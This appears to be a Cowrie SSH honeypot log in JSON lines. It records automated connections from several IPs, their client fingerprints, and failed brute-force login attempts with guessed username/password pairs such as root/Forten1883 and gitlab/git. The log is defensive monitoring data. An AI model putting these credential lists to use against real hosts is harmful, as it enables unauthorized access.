{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42488,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c1f45c21e13","protocol":"ssh","message":"New connection: 91.92.40.171:42488 (159.203.135.109:22) [session: 7c1f45c21e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:23.651229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:23.658933Z","src_ip":"91.92.40.171","session":"7c1f45c21e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:23.750478Z","src_ip":"91.92.40.171","session":"7c1f45c21e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:24.143525Z","src_ip":"91.92.40.171","session":"7c1f45c21e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:24.502924Z","src_ip":"91.92.42.133","session":"41ca2e3a1c17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:25.289431Z","src_ip":"91.92.40.171","session":"7c1f45c21e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58434,"dst_ip":"159.203.135.109","dst_port":22,"session":"159ecbbb971e","protocol":"ssh","message":"New connection: 91.92.42.133:58434 (159.203.135.109:22) [session: 159ecbbb971e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:29.834287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:29.882409Z","src_ip":"91.92.42.133","session":"159ecbbb971e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:29.986881Z","src_ip":"91.92.42.133","session":"159ecbbb971e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:30.623422Z","src_ip":"91.92.42.133","session":"159ecbbb971e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49204,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d90f69a3a19","protocol":"ssh","message":"New connection: 91.92.40.171:49204 (159.203.135.109:22) [session: 5d90f69a3a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:30.740986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:30.744804Z","src_ip":"91.92.40.171","session":"5d90f69a3a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:31.586816Z","src_ip":"91.92.40.171","session":"5d90f69a3a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:31.779460Z","src_ip":"91.92.42.133","session":"159ecbbb971e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:34.477214Z","src_ip":"91.92.40.171","session":"5d90f69a3a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52670,"dst_ip":"159.203.135.109","dst_port":22,"session":"821b32ada42c","protocol":"ssh","message":"New connection: 91.92.40.171:52670 (159.203.135.109:22) [session: 821b32ada42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:34.892365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:34.901584Z","src_ip":"91.92.40.171","session":"821b32ada42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:34.994956Z","src_ip":"91.92.40.171","session":"821b32ada42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:35.429285Z","src_ip":"91.92.40.171","session":"821b32ada42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:36.191203Z","src_ip":"91.92.40.171","session":"5d90f69a3a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"32abef35a836","protocol":"ssh","message":"New connection: 91.92.42.133:44922 (159.203.135.109:22) [session: 32abef35a836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:36.550757Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:36.683566Z","src_ip":"91.92.40.171","session":"821b32ada42c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:36.789065Z","src_ip":"91.92.42.133","session":"32abef35a836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:36.794424Z","src_ip":"91.92.42.133","session":"32abef35a836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"pi","message":"login attempt [nexus/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:38.678109Z","src_ip":"91.92.42.133","session":"32abef35a836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:40.065848Z","src_ip":"91.92.42.133","session":"32abef35a836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52754,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad5c2d64e6eb","protocol":"ssh","message":"New connection: 91.92.40.171:52754 (159.203.135.109:22) [session: ad5c2d64e6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:42.616054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:42.622519Z","src_ip":"91.92.40.171","session":"ad5c2d64e6eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56686,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fee03f979c8","protocol":"ssh","message":"New connection: 51.250.105.222:56686 (10.17.0.5:22) [session: 8fee03f979c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:42.864900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:42.868846Z","src_ip":"51.250.105.222","session":"8fee03f979c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:42.994550Z","src_ip":"51.250.105.222","session":"8fee03f979c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:43.370206Z","src_ip":"51.250.105.222","session":"8fee03f979c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:43.865202Z","src_ip":"91.92.40.171","session":"ad5c2d64e6eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":39494,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c199a93a4f6","protocol":"ssh","message":"New connection: 62.133.62.83:39494 (159.203.135.109:22) [session: 2c199a93a4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:43.955055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:43.958481Z","src_ip":"62.133.62.83","session":"2c199a93a4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:44.036303Z","src_ip":"62.133.62.83","session":"2c199a93a4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44984,"dst_ip":"159.203.135.109","dst_port":22,"session":"a88d09a13174","protocol":"ssh","message":"New connection: 91.92.42.133:44984 (159.203.135.109:22) [session: a88d09a13174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:44.081751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:44.267677Z","src_ip":"91.92.42.133","session":"a88d09a13174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:44.270828Z","src_ip":"91.92.42.133","session":"a88d09a13174","protocol":"ssh"}
